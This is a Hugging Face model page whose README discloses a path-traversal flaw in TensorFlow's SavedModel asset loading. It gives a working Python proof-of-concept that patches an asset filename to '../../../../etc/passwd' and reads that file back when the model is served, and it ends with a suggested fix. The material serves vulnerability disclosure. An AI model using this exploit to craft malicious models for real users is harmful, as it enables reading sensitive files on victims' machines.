Downloads · 30 days
0
AgentRen/tf-savedmodel-asset-path-traversal-poc
tf-savedmodel-asset-path-traversal-poc is a machine learning model from AgentRen. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
The TensorFlow SavedModel loader constructs asset file paths by joining: exportdir + "assets" + assetfiledef.filename
Downloads · 30 days
0
Access
Public
Updated Feb 4, 2026
Repo size
—
Likes
0
Public
Click a slice to open those files.
.py9.5 KB · 69%
From the Hugging Face model README
The TensorFlow SavedModel loader constructs asset file paths by joining:
export_dir + "assets" + asset_file_def.filename
The filename field from the SavedModel protobuf is NOT sanitized for
path traversal sequences (../). An attacker can craft a SavedModel where
asset_file_def.filename contains ../../../../etc/passwd, causing the
loader to resolve the asset path outside the model directory.
C++ (TensorFlow Serving and C++ consumers):
AddAssetsTensorsToInputs() in tensorflow/cc/saved_model/loader.ccio::JoinPath(export_dir, kSavedModelAssetsDirectory, asset_file_def.filename())Python:
get_asset_tensors() in tensorflow/python/saved_model/loader_impl.pyos.path.join(assets_directory, asset_proto.filename)When a victim loads an attacker-crafted SavedModel and invokes a signature that uses the asset path, the model can read arbitrary files accessible to the process. This is an exfiltration primitive.
Attack scenario:
tf.saved_model.load()model.serve())/etc/passwd (or any target file) via the
traversed asset path and returns its contentsimport tensorflow as tf
import struct
# Step 1: Create a normal SavedModel with an asset
class M(tf.Module):
def __init__(self):
super().__init__()
self.asset = tf.saved_model.Asset('assets/placeholder.txt')
@tf.function(input_signature=[])
def serve(self):
return {'data': tf.io.read_file(self.asset.asset_path)}
m = M()
tf.saved_model.save(m, '/tmp/normal_model',
signatures={'serving_default': m.serve})
# Step 2: Patch saved_model.pb to change asset filename
# Replace 'placeholder.txt' with '../../../../etc/passwd'
import pathlib
pb_path = pathlib.Path('/tmp/normal_model/saved_model.pb')
data = pb_path.read_bytes()
data = data.replace(b'placeholder.txt', b'../../../../etc/passwd')
pb_path.write_bytes(data)
# Step 3: Load the patched model and invoke
model = tf.saved_model.load('/tmp/normal_model')
result = model.signatures['serving_default']()
print("Exfiltrated:", result['data'].numpy().decode())
# Expected: contents of /etc/passwd
Sanitize AssetFileDef.filename before path joining:
.. componentsos.path.realpath() and verify the result is within assets_directory